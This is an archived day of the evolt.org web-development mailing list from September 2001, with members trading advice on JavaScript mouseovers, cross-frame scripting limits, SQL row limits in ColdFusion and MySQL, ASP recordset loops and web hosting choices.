From Anthony at Baratta.com Mon Sep 17 00:28:02 2001 From: Anthony at Baratta.com (Anthony Baratta) Date: Mon Sep 17 00:28:02 2001 Subject: [thelist] Javascript inside of Javascript... :) In-Reply-To: <000c01c13f33$5e05b980$8f03cc3d@chris> References: <000801c13ee4$5948e6a0$1631a8c0@hot7> <3BA563F6.440DD30D@phreaker.net> Message-ID: <5.1.0.14.2.20010916221812.02dd9ea8@baratta.com> > >Here is a sample of the javascript code: > >document.writeln("HREF='"+global_article[counter].url+"' >"); > document.writeln('FACE="'+headline_font+'" COLOR="#'+headline_fgcolor+'"'); > >document.writeln('>'+global_article[counter].headline_text+'...r>'); > >and the mouseover thing I want to include in there is: > >onMouseover="onColor(this);" onMouseout="offColor(this);" Moreover.com, eh? ;-) Just sneak it in like this: document.writeln("'); document.writeln(' Message-ID: Thousands mourn anti-Taleban leader http://news.bbc.co.uk/hi/english/world/south_asia/newsid_1546000/1546941 .stm Significance of timing, method and perpetrators of his murder? IE5.5+ has severe difficulties with images in div's with colored backgrounds and z-index set when the position is "relative", images within the div are rendered below the color, thus invisible. any other position attribute resolves the issue. From steve.cook at evitbe.com Mon Sep 17 02:12:53 2001 From: steve.cook at evitbe.com (Steve Cook) Date: Mon Sep 17 02:12:53 2001 Subject: [thelist] OT: TheList and politics Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB52@SBS> I appreciate how large an issue the events in the US are, but I subscribed to a web development list. If I want news, opinions and politics, I'll subscribe to a news, opinions and politics list. If you really want to discuss such issues with members of TheList, can I suggest that The Chat is a better place. If you work with a mixed Windows and Linux combination, you may want to take a look at a products called VNC. This allows you graphical access between Windows and X machines. http://www.uk.research.att.com/vnc I use it to access my work Windows 2000 machine from my home RedHat Linux machine. I can access my email and calender in Outlook, run log queries before I get to work on Monday morning and access Office documents without even needing to convert them to work in one of the Linux office-type tools. ------------------------------------------ Steve Cook web strategist Evitbe AB 031-15 16 17 031-890 365 0703-13 26 31 steve.cook at evitbe.com www.evitbe.com ------------------------------------------ From tonyc at boldfish.co.uk Mon Sep 17 02:23:11 2001 From: tonyc at boldfish.co.uk (Tony Crockford) Date: Mon Sep 17 02:23:11 2001 Subject: [thelist] OT: TheList and politics In-Reply-To: <3B55A5A1F233D41183A800D0B74D4D5213AB52@SBS> Message-ID: Noted. Sometimes life's too short to be strict. From steve.cook at evitbe.com Mon Sep 17 02:24:40 2001 From: steve.cook at evitbe.com (Steve Cook) Date: Mon Sep 17 02:24:40 2001 Subject: [thelist] Javascript between sites Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB53@SBS> Hi folks! I've been working on a problem in Javascript. I am trying to build a little frameset that allows me to submit a form in one frame from a button in the other frame. This shouldn't be too hard, using something like: Submit Where bottom is the name of the other frame and the form is the 3rd form on the page (it is unnamed). I'm wondering if the problem is because the lower frame is on another domain to the top frame? Is that a security issue that the browser has closed off? Any other possible causes would be appreciated. .steve ---------------------------------- WapWarp - http://wapwarp.com Wap-Dev - http://www.wap-dev.net Cookstour - http://cookstour.org ---------------------------------- From lisafrost at canthai.com Mon Sep 17 05:10:49 2001 From: lisafrost at canthai.com (Lisa Frost) Date: Mon Sep 17 05:10:49 2001 Subject: [thelist] digest Message-ID: <15363D139354574BA6A582A38E19A9AF129794@win2ksrv.canthainet.com> Does anyone else on the digest find that sometimes whole digests are missing and that you have missed a whole thread or is it just me? From matthew at Natuzzi.com Mon Sep 17 05:21:11 2001 From: matthew at Natuzzi.com (Watkins Matthew) Date: Mon Sep 17 05:21:11 2001 Subject: [thelist] Forrester briefs Message-ID: Hello Everyone, Forrester has made available three briefs regarding this tragedy (you have to become a guest first - this is free). - First Steps After Tragedy - Business Continuity Plans: Now More Than Ever - Making The Net Work For You During The Crisis Matthew From peter at vardus.com Mon Sep 17 05:53:26 2001 From: peter at vardus.com (Peter) Date: Mon Sep 17 05:53:26 2001 Subject: [thelist] Dynamic sites and search engines In-Reply-To: References: <20010914143442.3588.qmail@web14914.mail.yahoo.com> Message-ID: <5.1.0.14.0.20010917113429.03070b20@mail.vardus.net> >The info I'm looking for also, is how to actually build the architecture of >a dynamic site properly from the get-go to make it search engine friendly. >Making the URLs friendly is good, but I want a good backbone behind it all >as well. I'm feeling this sudden need to do things right, I guess. In that case, there are a few things to consider: - URL's (you've got those) - what content do you want searchable. You probably don't want all your content indexed in the SE's. Decide for which keywords and what content you want to be in the SE's, and then focus on that content. - once you have that content, you can decide to make pages that are very indexable (i.e. having specific words in the title,

tags and the body text helps. Architecture wise, you probably want a way to generate different page titles for each page (very important). If you want to be clever and have lots of articles for example, you can write a function that filters out strange, unusual words from the article that get repeated at least twice (so you need a long list of common words to exlude, include any word that starts with a capital and doesn't start a sentence) and make those into keywords, i.e. make sure they are repeated in the meta tags and the title and

tags of the page. Like this you can build a long list of pages that are optimized for non-common words. (competing on common words is very hard, non common words is easy!) Another issue: make sure these pages can be found at the top of your site hierarchy: level 2 or 3. Peter From phil at xlab.co.uk Mon Sep 17 05:59:30 2001 From: phil at xlab.co.uk (phil) Date: Mon Sep 17 05:59:30 2001 Subject: [thelist] Database documentation Message-ID: >> What program did you use to generate that diagram image? >> > the model was done in ERwin > > i had to cut & paste a whole bunch of screenshots to arrive at the final > result > just my two penneth worth - I find that a print out of your database using the 'relationships' window in MS Access is a very handy tool. Not just for yourself to keep a track of table names, fields and relationships but also for your client to understand a bit more about the backend and it's structure. It's not as descriptive as rudy's screenshot (it doesn't provide column type information) but it's a good start. Of course you need to have a database in Access to use this, but if it were a mysql database you could use some mysql-odbc drivers to port the database over. just a thought. phil From mwarden at mattwarden.com Mon Sep 17 06:08:52 2001 From: mwarden at mattwarden.com (Warden, Matt) Date: Mon Sep 17 06:08:52 2001 Subject: [thelist] Database documentation In-Reply-To: Message-ID: On Sep 17, phil had something to say about Re: [thelist] Database documentation >[Access's relationships view is] not as descriptive as rudy's screenshot >(it doesn't provide column type information) It will if you tell it to by checking the "column types" checkbox in the table properties. It just hides those by default. HTH, -- mattwarden mattwarden.com From peter at vardus.com Mon Sep 17 06:29:38 2001 From: peter at vardus.com (Peter) Date: Mon Sep 17 06:29:38 2001 Subject: [thelist] html email stats In-Reply-To: Message-ID: <5.1.0.14.0.20010917121452.03062570@mail.vardus.net> Hi, where can I find statistics on who can receive HTML emails anywhere? And what does it depend on? thanks! Peter From gassinaumasis at hotmail.com Mon Sep 17 06:39:08 2001 From: gassinaumasis at hotmail.com (Peter-Paul Koch) Date: Mon Sep 17 06:39:08 2001 Subject: [thelist] Javascript between sites Message-ID: >I've been working on a problem in Javascript. I am trying to build a little >frameset that allows me to submit a form in one frame from a button in the >other frame. This shouldn't be too hard, using something like: > >href="javascript:window.parent.bottom.document.forms[2].submit()">Submit > >Where bottom is the name of the other frame and the form is the 3rd form on >the page (it is unnamed). > >I'm wondering if the problem is because the lower frame is on another >domain >to the top frame? Is that a security issue that the browser has closed off? Yep. If a page comes from another server you may not access its JavaScript methods and properties. This is for security reasons. ppk _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp From bimal.shah at venus.co.uk Mon Sep 17 06:41:34 2001 From: bimal.shah at venus.co.uk (Bimal Shah) Date: Mon Sep 17 06:41:34 2001 Subject: [thelist] Coldfusion/SQL:queries:maxrows In-Reply-To: <5.1.0.14.0.20010917121452.03062570@mail.vardus.net> Message-ID: Hi, Is there any advantage to using SQL to return a set number of results compared to using the maxrows parameter of a cf query? I am trying to query a table, only wishing to return the first match e.g References: <01c13d8e$5306f5e0$5349149a@rudy> Message-ID: <5.1.0.14.0.20010917122840.03004ec0@mail.vardus.net> Hi, I'm trying to decide between two providers: first one (I don't want to take them because the instill less trust in me, http://uk2.net ) offers 20gig a month bandwidth, the other one 3 gig (http://www.dsvr.co.uk came recommended). Am I right to calculate that 3 gig (at 40 k per page) is only about 70.000 pages a month? Peter From cf at boldacious.com Mon Sep 17 07:12:52 2001 From: cf at boldacious.com (Seamus Campbell) Date: Mon Sep 17 07:12:52 2001 Subject: [thelist] Coldfusion/SQL:queries:maxrows In-Reply-To: References: <5.1.0.14.0.20010917121452.03062570@mail.vardus.net> Message-ID: <4.2.2.20010917220318.00b26f00@pop.webone.com.au> SELECT TOP 1 (productID), ProductDesc FROM tblproduct Above is sql - this is quicker I believe I think it is because the sql only searches the top 1 row while CF searches the whole database then returns 1 row (I think) Seamus From bimal.shah at venus.co.uk Mon Sep 17 07:18:03 2001 From: bimal.shah at venus.co.uk (Bimal Shah) Date: Mon Sep 17 07:18:03 2001 Subject: [thelist] Coldfusion/SQL:queries:maxrows In-Reply-To: <4.2.2.20010917220318.00b26f00@pop.webone.com.au> Message-ID: I'm getting an error - is "TOP" supported in MySQL? Bimal -----Original Message----- From: thelist-admin at lists.evolt.org [mailto:thelist-admin at lists.evolt.org]On Behalf Of Seamus Campbell Sent: 17 September 2001 13:09 To: thelist at lists.evolt.org Subject: Re: [thelist] Coldfusion/SQL:queries:maxrows SELECT TOP 1 (productID), ProductDesc FROM tblproduct Above is sql - this is quicker I believe I think it is because the sql only searches the top 1 row while CF searches the whole database then returns 1 row (I think) Seamus --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From jedimaster at macromedia.com Mon Sep 17 07:47:36 2001 From: jedimaster at macromedia.com (Raymond Camden) Date: Mon Sep 17 07:47:36 2001 Subject: [thelist] Coldfusion/SQL:queries:maxrows In-Reply-To: Message-ID: <00c201c13f76$bb2f3ad0$6401a8c0@mylittledomain.internal> You can use TOP, if your DBMS supports it, to return the first X rows. It works like so... SELECT TOP 10 Name, Foo, Goo FROM tblBlahBlah WHERE Name LIKE '%Newman%' OR Name LIKE '%Aboot%' I would assume that this would be quicker than using MAXROWS. ======================================================================= Raymond Camden, Principal Spectra Compliance Engineer for Macromedia Email : jedimaster at macromedia.com Yahoo IM : morpheus "My ally is the Force, and a powerful ally it is." - Yoda > -----Original Message----- > From: thelist-admin at lists.evolt.org > [mailto:thelist-admin at lists.evolt.org] On Behalf Of Bimal Shah > Sent: Monday, September 17, 2001 7:37 AM > To: thelist at lists.evolt.org > Subject: [thelist] Coldfusion/SQL:queries:maxrows > > > Hi, > > Is there any advantage to using SQL to return > a set number of results compared to using the > maxrows parameter of a cf query? > > I am trying to query a table, only wishing to > return the first match e.g > > SELECT > thedate > FROM > testTable > WHERE > thedate<#today# > ORDER BY > thedate DESC > > How would one do the above in pure SQL (without > using maxrows? > > Bimal > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From jedimaster at macromedia.com Mon Sep 17 07:52:48 2001 From: jedimaster at macromedia.com (Raymond Camden) Date: Mon Sep 17 07:52:48 2001 Subject: [thelist] Coldfusion/SQL:queries:maxrows In-Reply-To: Message-ID: <00c301c13f77$7549e640$6401a8c0@mylittledomain.internal> FYI, speaking of CF queries, are people here using BLOCKFACTOR any? It's a _very_ easy way to speed up query time, and, unfortunately, is not documented well at all. Basically (and anyone feel free to correct me on this), when CF performs a query, it only fetches one row at a time. So, a query that returns 200 rows will result in 200 fetches. CF can be told to get more at a time by using BLOCKFACTOR. BLOCKFACTOR is a number between 1 and 100. The default is 1. Ok, so here is where things get interesting. Why don't you just set blockfactor to 100? Because CF, by default, can only get 32k of data at one time. So, if 100 rows > 32k, CF has to 'back down' a bit in order to fetch the right amount of data. What someone told me, was to simply take the average row size and determine how many would fit into 32k. On a few, VERY unscientific tests, I've seen _dramatic_ speed increases, although it's not something you can always apply. ======================================================================= Raymond Camden, Principal Spectra Compliance Engineer for Macromedia Email : jedimaster at macromedia.com Yahoo IM : morpheus "My ally is the Force, and a powerful ally it is." - Yoda > -----Original Message----- > From: thelist-admin at lists.evolt.org > [mailto:thelist-admin at lists.evolt.org] On Behalf Of Bimal Shah > Sent: Monday, September 17, 2001 7:37 AM > To: thelist at lists.evolt.org > Subject: [thelist] Coldfusion/SQL:queries:maxrows > > > Hi, > > Is there any advantage to using SQL to return > a set number of results compared to using the > maxrows parameter of a cf query? > > I am trying to query a table, only wishing to > return the first match e.g > > SELECT > thedate > FROM > testTable > WHERE > thedate<#today# > ORDER BY > thedate DESC > From norman.bunn at craftedsolutions.com Mon Sep 17 08:04:58 2001 From: norman.bunn at craftedsolutions.com (Norman Bunn) Date: Mon Sep 17 08:04:58 2001 Subject: [thelist] Comstock offering free US flag pics Message-ID: <015c01c13f78$0dec4d20$0201a8c0@com> For those of you looking for US flag pics... Norman > If you need images of the US flag for your website or print > pieces, you can go to the following URL to download them > at no charge. > > http://www.comstock.com/Go/USFlags/ > From ckanderson at powersurfr.com Mon Sep 17 08:10:22 2001 From: ckanderson at powersurfr.com (Christian Anderson) Date: Mon Sep 17 08:10:22 2001 Subject: [thelist] Javascript inside of Javascript... :) References: <000801c13ee4$5948e6a0$1631a8c0@hot7> <3BA563F6.440DD30D@phreaker.net> <5.1.0.14.2.20010916221812.02dd9ea8@baratta.com> Message-ID: <001a01c13f79$953a4060$ce03cc3d@chris> Yeah, moreover.com :) That mousover thing has to go in the tag. I guess I should have mentioned that... so when I try it as it doesnt work. Why why why?? :) www.photokyo.com > >Here is a sample of the javascript code: > > > >document.writeln(" >HREF='"+global_article[counter].url+"' >"); > > document.writeln(' >FACE="'+headline_font+'" COLOR="#'+headline_fgcolor+'"'); > > > >document.writeln('>'+global_article[counter].headline_text+'...< b > >r>'); > > > >and the mouseover thing I want to include in there is: > > > >onMouseover="onColor(this);" onMouseout="offColor(this);" > > Moreover.com, eh? ;-) > > Just sneak it in like this: > > document.writeln(" HREF='"+global_article[counter].url+"' "); > > document.writeln('onMouseover="onColor(this);" > onMouseout="offColor(this);"'+'>'); > > document.writeln(' COLOR="#'+headline_fgcolor+'"'); From tonyc at boldfish.co.uk Mon Sep 17 08:17:39 2001 From: tonyc at boldfish.co.uk (Tony Crockford) Date: Mon Sep 17 08:17:39 2001 Subject: [thelist] bandwidth In-Reply-To: <5.1.0.14.0.20010917122840.03004ec0@mail.vardus.net> Message-ID: > Hi, > I'm trying to decide between two providers: first one (I > don't want to take > them because the instill less trust in me, http://uk2.net ) > offers 20gig a > month bandwidth, the other one 3 gig (http://www.dsvr.co.uk came > recommended). Am I right to calculate that 3 gig (at 40 k per > page) is only > about 70.000 pages a month? Thereabouts, but note also that some hosts include FTP and email traffic when calculating your consumption. FWIW I hear good things about DSVR. Have you looked at: http://www.bigbytes.co.uk/ details loads of hosts in the UK, can sort by BW etc. HTH Tony From bruce at heerssen.com Mon Sep 17 08:19:41 2001 From: bruce at heerssen.com (Bruce Heerssen) Date: Mon Sep 17 08:19:41 2001 Subject: [thelist] Javascript inside of Javascript... :) References: <000801c13ee4$5948e6a0$1631a8c0@hot7> <3BA563F6.440DD30D@phreaker.net> <5.1.0.14.2.20010916221812.02dd9ea8@baratta.com> <001a01c13f79$953a4060$ce03cc3d@chris> Message-ID: <3BA5E7C9.1020109@heerssen.com> Christian Anderson wrote: >Yeah, moreover.com :) > >That mousover thing has to go in the tag. I guess I should have >mentioned that... so when I try it as onMouseover="onColor(this);" onMouseout="offColor(this);"> it doesnt work. > >Why why why?? :) > >www.photokyo.com > This came up the other day. I think the problem is going to be the bgcolor attribute in the tag. Ditch the bgcolor attribute and use CSS instead, then you should be able to change it with javascript. hth -Bruce From bruce at heerssen.com Mon Sep 17 08:29:16 2001 From: bruce at heerssen.com (Bruce Heerssen) Date: Mon Sep 17 08:29:16 2001 Subject: [thelist] html email stats References: <5.1.0.14.0.20010917121452.03062570@mail.vardus.net> Message-ID: <3BA5EA09.6010706@heerssen.com> Peter wrote: > > > Hi, > where can I find statistics on who can receive HTML emails anywhere? > And what does it depend on? > thanks! > Peter > Well, I don't know - sorry ;) But I thought I should mention this: While most modern email clients support html embedded email, they do so in a very non-standard fashion. To complicate matters, they all fail in different ways. Javascript is very iffy and forms may not work in exactly the manner you think they should. IOW, be very careful with HTML email and if you must use it, stay far away from even the simplest whiz-bang features such as mouseovers and CSS. May I suggest a well written text email with links? HTH, Bruce From jhaworth at witanjardine.co.uk Mon Sep 17 09:35:54 2001 From: jhaworth at witanjardine.co.uk (Jon Haworth) Date: Mon Sep 17 09:35:54 2001 Subject: [thelist] Coldfusion/SQL:queries:maxrows Message-ID: <67DF9B67CEFAD4119E4200D0B720FA3F70FD6C@BOOTROS> Try SELECT ProductID, ProductDesc FROM tblProduct LIMIT 1 HTH Jon -----Original Message----- From: Bimal Shah [mailto:bimal.shah at venus.co.uk] Sent: 17 September 2001 13:14 To: thelist at lists.evolt.org Subject: RE: [thelist] Coldfusion/SQL:queries:maxrows I'm getting an error - is "TOP" supported in MySQL? Bimal -----Original Message----- From: thelist-admin at lists.evolt.org [mailto:thelist-admin at lists.evolt.org]On Behalf Of Seamus Campbell Sent: 17 September 2001 13:09 To: thelist at lists.evolt.org Subject: Re: [thelist] Coldfusion/SQL:queries:maxrows SELECT TOP 1 (productID), ProductDesc FROM tblproduct ********************************************************************** 'The information included in this Email is of a confidential nature and is intended only for the addressee. If you are not the intended addressee, any disclosure, copying or distribution by you is prohibited and may be unlawful. Disclosure to any party other than the addressee, whether inadvertent or otherwise is not intended to waive privilege or confidentiality' ********************************************************************** From peter at vardus.com Mon Sep 17 09:35:55 2001 From: peter at vardus.com (Peter) Date: Mon Sep 17 09:35:55 2001 Subject: [thelist] bandwidth In-Reply-To: <5.1.0.14.0.20010917122840.03004ec0@mail.vardus.net> References: <001801c25ba0$4660a8f0$0300000a@pentium> <01c13d8e$5306f5e0$5349149a@rudy> Message-ID: <5.1.0.14.0.20010917130014.03006a60@mail.vardus.net> Also, any recommendations for hosts? I need multiple domains, Apache with mod_rewrite (and very preferably ability to recompile, but htaccess override is probably enough as well), command line access, PHP and mysql (multiple databases), and multiple domain names. I'm expecting about 100.000 to 250.000 pageviews a month (I have about 70.000 now), pretty light pages mostly (40K-ish each, including images) I am prepared to pay about ?300 a year (the previously mentioned hosts are about that), but less is good ofcourse! Thanks! Peter From djc at starkmedia.com Mon Sep 17 09:42:44 2001 From: djc at starkmedia.com (Daniel J. Cody) Date: Mon Sep 17 09:42:44 2001 Subject: [thelist] Coldfusion/SQL:queries:maxrows References: <00c301c13f77$7549e640$6401a8c0@mylittledomain.internal> Message-ID: <3BA60823.2090707@starkmedia.com> Ya, the front page of evolt is actually using blockfactor to speed it up, and it helps a *ton*. It's too bad it isn't documented better, cus a lot of people could probably speed up their queries by using it. It took a bit of playing around with, but I found that a blockfactor set to 75 worked the best for us, but thanks for the 32k reference, another hidden gem no doubt :) .djc. Raymond Camden wrote: > FYI, speaking of CF queries, are people here using BLOCKFACTOR any? It's > a _very_ easy way to speed up query time, and, unfortunately, is not > documented well at all. > > Basically (and anyone feel free to correct me on this), when CF performs > a query, it only fetches one row at a time. So, a query that returns 200 > rows will result in 200 fetches. CF can be told to get more at a time by > using BLOCKFACTOR. BLOCKFACTOR is a number between 1 and 100. The > default is 1. > > Ok, so here is where things get interesting. Why don't you just set > blockfactor to 100? Because CF, by default, can only get 32k of data at > one time. So, if 100 rows > 32k, CF has to 'back down' a bit in order to > fetch the right amount of data. What someone told me, was to simply take > the average row size and determine how many would fit into 32k. From jay.blanchard at thermon.com Mon Sep 17 09:44:23 2001 From: jay.blanchard at thermon.com (J. Blanchard) Date: Mon Sep 17 09:44:23 2001 Subject: [thelist] ASP/SQL Question - DONE DEAL! Message-ID: <3B82ACFE000DD9FD@smtparch.vistocorporation.com> (added by administrator@vistocorporation.com) And much thanks to all who helped! The final code block came in at ten lines, was way cleaner than attempting a 'data-shaping', and can be used with any recordset where this kind of listing can be useful. I owe tips out the kazoo for this, as well as thanks to many. Rudy, Matt, Jim, and anyone else who I may not have mentioned...you rock! Thanks! Jay Blanchard Web Development Manager Thermon Manufacturing Company 1.800.820.HEAT x327 ___________________________________________________________________________ Visit http://www.visto.com. Find out how companies are linking mobile users to the enterprise with Visto. From robert.sanders at indsys.ge.com Mon Sep 17 09:44:36 2001 From: robert.sanders at indsys.ge.com (Sanders, Robert (IndSys, Pwr. Equip., IM)) Date: Mon Sep 17 09:44:36 2001 Subject: [thelist] Database/ASP Samples PLease Message-ID: I would very much welcome the opportunity to review some ASP used to connect to a database. I've been working towards this same end but to no avail. If avyone has some code that they wouldnt mind sharing I would appreciate if they'd forward it to me so I could attempt to figure out what I'm doing wrong. I really just want to create a "My Reports" web page for our business reports but need an ASP for the end users to subscribe to reports initially and then revisit that same page and be able to unsubscribe or subsribe to additional reports. That is, the p[age must display (via check boxes) what reports a user has already subscribed to. Thanks for the much needed help. From richard.bennett at skynet.be Mon Sep 17 09:45:19 2001 From: richard.bennett at skynet.be (Richard Bennett) Date: Mon Sep 17 09:45:19 2001 Subject: [thelist] Site not available? - Resolved References: <006301c13eff$5e8cc170$0300a8c0@glenn> <018a01c13f50$44b990b0$0100a8c0@wwwv7zwbf035xj> <3BA5367F.D2EB6F0E@webtuitive.com> Message-ID: <021501c13fd1$91119d50$0100a8c0@wwwv7zwbf035xj> Hi, Thanks everyone for taking the time to help on this. What finally resolved the problem, was setting the proxy server in IE. It seems this bypasses the local DNS settings, so at least IE works as it should now. Richard. ----- Original Message ----- From: "Hassan Schroeder" To: Sent: Sunday, September 16, 2001 4:32 PM Subject: Re: [thelist] Site not available? - Update > Richard Bennett wrote: > > > Well it's set, but I don't know if the DNS server IP's are correct, I tried > > quite a few different ones advised on the net. > > "advised on the net"?? You should have name server IPs provided by > your own ISP. > > > >You also might have extra default routes. > > > On Windows 2000, multiple default routes can really be messy - not > > > recommended. > > ?? you mean not to use prefered and alternate? In Win2000 I could only enter > > 2 DNS IPs, unlike in winME/98 where I could enter many. > > 1) "default route" is also referred to as "default gateway", has > nothing to do with DNS, and yeah, you should probably only have > one. > > 2) Under Win2K the initial TCP/IP properties panel shows two DNS entry > spaces, but clicking the "Advanced" button gives you the option to > enter as many as you like. > > HTH! > -- > H* > Hassan Schroeder ----------------------------- hassan at webtuitive.com > Webtuitive Design === (+1) 408-938-0567 === http://webtuitive.com > > -- creating dynamic Web sites and applications since 1994 -- > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > From steve.cook at evitbe.com Mon Sep 17 09:53:30 2001 From: steve.cook at evitbe.com (Steve Cook) Date: Mon Sep 17 09:53:30 2001 Subject: [thelist] ASP/SQL Question - DONE DEAL! Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB5C@SBS> Having just gone back and looked through this thread, I'd be interested to see your final code? Getting the processing of that record set structure down to 10 lines would be pretty interesting to me (Even though I'd have taken the devil's path and used Data Shaping ;-). ------------------------------------------ Steve Cook web strategist Evitbe AB 031-15 16 17 031-890 365 0703-13 26 31 steve.cook at evitbe.com www.evitbe.com ------------------------------------------ > -----Original Message----- > From: J. Blanchard [mailto:jay.blanchard at thermon.com] > Sent: den 17 september 2001 16:11 > To: thelist at lists.evolt.org > Subject: Re: [thelist] ASP/SQL Question - DONE DEAL! > > > And much thanks to all who helped! The final code block came > in at ten lines, was way cleaner than attempting a > 'data-shaping', and can be used with any recordset where this > kind of listing can be useful. > > I owe tips out the kazoo for this, as well as thanks to many. > Rudy, Matt, Jim, and anyone else who I may not have > mentioned...you rock! > > Thanks! > From thelist at lists.evolt.org Mon Sep 17 09:59:48 2001 From: thelist at lists.evolt.org (Tip Harvester) Date: Mon Sep 17 09:59:48 2001 Subject: [thelist] Tip Harvest for the Week of Monday 2001-Sep-10 Message-ID: <200109171459.f8HExlwm029802@leo.evolt.org> The tip harvest for the Week of Monday 2001-Sep-10 has been added to the lists.evolt.org site. Get it at: http://lists.evolt.org/index.cfm/a/harvest/b/show/c/Week-of-Mon-20010910.html Summary Statistics for Tip Harvester Number of messages: 410 Number of tips: 16 Tip Authors ----------- .jeff (4) Chris George (2) Daniel J. Cody (1) Frank Marion (1) Joshua Olson (2) Kevin Stevens (1) kristina (1) Pat Meeks (1) rudy (2) Tyme (1) Tips of Type ------------ Cold Fusion and Sybase ASE (1) ColdFusion (3) GIMP (1) Search Engine Optimization (1) sysadmin (1) From philippe at 123piano.com Mon Sep 17 10:07:20 2001 From: philippe at 123piano.com (Philippe Jadin) Date: Mon Sep 17 10:07:20 2001 Subject: [thelist] bandwidth References: <001801c25ba0$4660a8f0$0300000a@pentium> <01c13d8e$5306f5e0$5349149a@rudy> <5.1.0.14.0.20010917130014.03006a60@mail.vardus.net> Message-ID: <3BA610D9.CD1D0A6@123piano.com> Peter wrote: > > Also, any recommendations for hosts? > I need multiple domains, Apache with mod_rewrite (and very preferably > ability to recompile, but htaccess override is probably enough as well), > command line access, PHP and mysql (multiple databases), and multiple > domain names. I'm expecting about 100.000 to 250.000 pageviews a month (I > have about 70.000 now), pretty light pages mostly (40K-ish each, including > images) > I am prepared to pay about ?300 a year (the previously mentioned hosts are > about that), but less is good ofcourse! If ?300 a year is equal to $40 per month (unlimited domains), then I highly recommend imeme.net : they are specilized in zope hosting, but they offer apache, php and mysql too. (I didn't tested php yet but well, it must work:-) The system is a jailed freebsd, this mean you have a virtual root account, this also means you can install anything you want on the server (providing resources usage blabla...), or even recompile your own apache I guess. For those $40, you have 5 gb per month of bandwidth, and you pay $10 per aditional gb per month. If my brain is working, with 5 gb, at 40kb per page, you would have 125.000 pageviews. If I remember well you can ask for a trial too. Usual disclaimer : 1. I'm using it for zope hosting, and I didn't test the php support so... 2. I'm in no way affiliated with them. 3. If you want an alernative, try cedant.com, altough you won't have unlimited domains for that price. Philippe (you could probably check server speed for customers by doing it against my site 123piano.com) From jay.blanchard at thermon.com Mon Sep 17 10:08:10 2001 From: jay.blanchard at thermon.com (J. Blanchard) Date: Mon Sep 17 10:08:10 2001 Subject: [thelist] ASP/SQL DONE DEAL! Follow up, by request... Message-ID: <3B82ACFE000DE170@smtparch.vistocorporation.com> (added by administrator@vistocorporation.com) Matt warden created the final code as follows... <% DIM pd pd = "" While Not product.EOF If pd <> (product.Fields.Item("ProductDesc").Value) Then pd = (product.Fields.Item("ProductDesc").Value) response.write (pd & "
") End If response.write((product.Fields.Item("ProductID").Value) & "
") product.MoveNext Wend %> The problem was that I had one too many MoveNext's and my test for equality was in the write spot, but ended in the wrong one. Line 1. Dim the variable for equality test Line 2. Set variable default value Line 3. While the recordset is not at End of File Line 4. If the variable is NOT = to the product description Line 5. Set the variable = to product description Line 6. Write the product description Line 7. End test Line 8. Write out the first product id for this product description Line 9. Move to the next record in the set which sends you back to the if statement in line 4. If they are equal this ends the IF and then writes the next product id. Line 10. End the while loop. Thanks! Jay ___________________________________________________________________________ Visit http://www.visto.com. Find out how companies are linking mobile users to the enterprise with Visto. From ppxsjc1 at unix.ccc.nottingham.ac.uk Mon Sep 17 10:10:30 2001 From: ppxsjc1 at unix.ccc.nottingham.ac.uk (Simon Coggins) Date: Mon Sep 17 10:10:30 2001 Subject: [thelist] Coldfusion/SQL:queries:maxrows In-Reply-To: Message-ID: > I'm getting an error - is "TOP" supported in MySQL? I'm not sure, but can't you use LIMIT instead? e.g. SELECT * FROM table WHERE this='that' ORDER BY this LIMIT 1 would return 1st record. Simon From jedimaster at macromedia.com Mon Sep 17 10:21:04 2001 From: jedimaster at macromedia.com (Raymond Camden) Date: Mon Sep 17 10:21:04 2001 Subject: [thelist] Coldfusion/SQL:queries:maxrows In-Reply-To: Message-ID: <00f501c13f8c$2c562920$6401a8c0@mylittledomain.internal> > > > I'm getting an error - is "TOP" supported in MySQL? > > I'm not sure, but can't you use LIMIT instead? > > e.g. SELECT * FROM table WHERE this='that' ORDER BY this LIMIT 1 > > would return 1st record. > > Simon > In general, this all boils down to what your DBMS supports. Don't bother looking at the CF docs for this, consult the docs for your DBMS. You should ALWAYS try to do as much logic in your DBMS as possible. For example, instead of doing a select * and having CF parse out the records where foo > 1, or some other condition, put the condition in your SQL statement. Check the docs for your DBMS. You will be surprised at the kind of logical parsing you can do on data. -Ray From initium at barrysworld.com Mon Sep 17 10:34:46 2001 From: initium at barrysworld.com (Jeremy Payne) Date: Mon Sep 17 10:34:46 2001 Subject: [thelist] bandwidth References: <01c13d8e$5306f5e0$5349149a@rudy> <5.1.0.14.0.20010917122840.03004ec0@mail.vardus.net> Message-ID: <003301c13f8e$dacd5440$0e3c5d0a@ropnorth.org> >Am I right to calculate that 3 gig (at 40 k per page) is only > about 70.000 pages a month? make smaller pages :D! hehe.. forgive me.. i'm at school, and i'm desperately in need of human contact.. lol From annie at twitch.ca Mon Sep 17 10:52:06 2001 From: annie at twitch.ca (Annie) Date: Mon Sep 17 10:52:06 2001 Subject: [thelist] ASP Timed Text Display In-Reply-To: <003301c13f8e$dacd5440$0e3c5d0a@ropnorth.org> Message-ID: Hey guys, hope you can help me out on this one :) I have a client who I have created a contest website for. Part of the contest is that each day a question will be posted on the website, giving participants 24 hours to answer the question before a new question is posted. They are quite adament about posting the question manually each day, a bit paranoid about the confidentiality of the questions. But here's the clincher: they want to be able to post the question earlier in the day, say 4pm, but not have it appear on the website until 5:15pm. Is there any quick and relatively painless way to do this? Thanks! Annie From Matt at grndwtr.com Mon Sep 17 11:52:11 2001 From: Matt at grndwtr.com (Matthias Ritzkowski) Date: Mon Sep 17 11:52:11 2001 Subject: [thelist] Database/ASP Samples PLease Message-ID: <8179FA78B6D0D111AA53006097B0128007AF0A@mail1> Ok - I will attempt my luck at this one. Let's say you have a table with UserID, report1, report2, report3, etc The report fields could be varchar, values are "Y" and "N" Upon a user logging in, you track his UserID and send him to your page. The trick is how to build the page from the serverside (this is how I would do it). I use server-side checkboxes, which retrieve their state (checked or not) from a database query like SELECT REPORT1, REPORT2, REPORT3 WHERE USERID = strUSERID if REPORT1.Value = "Y" then code to set the 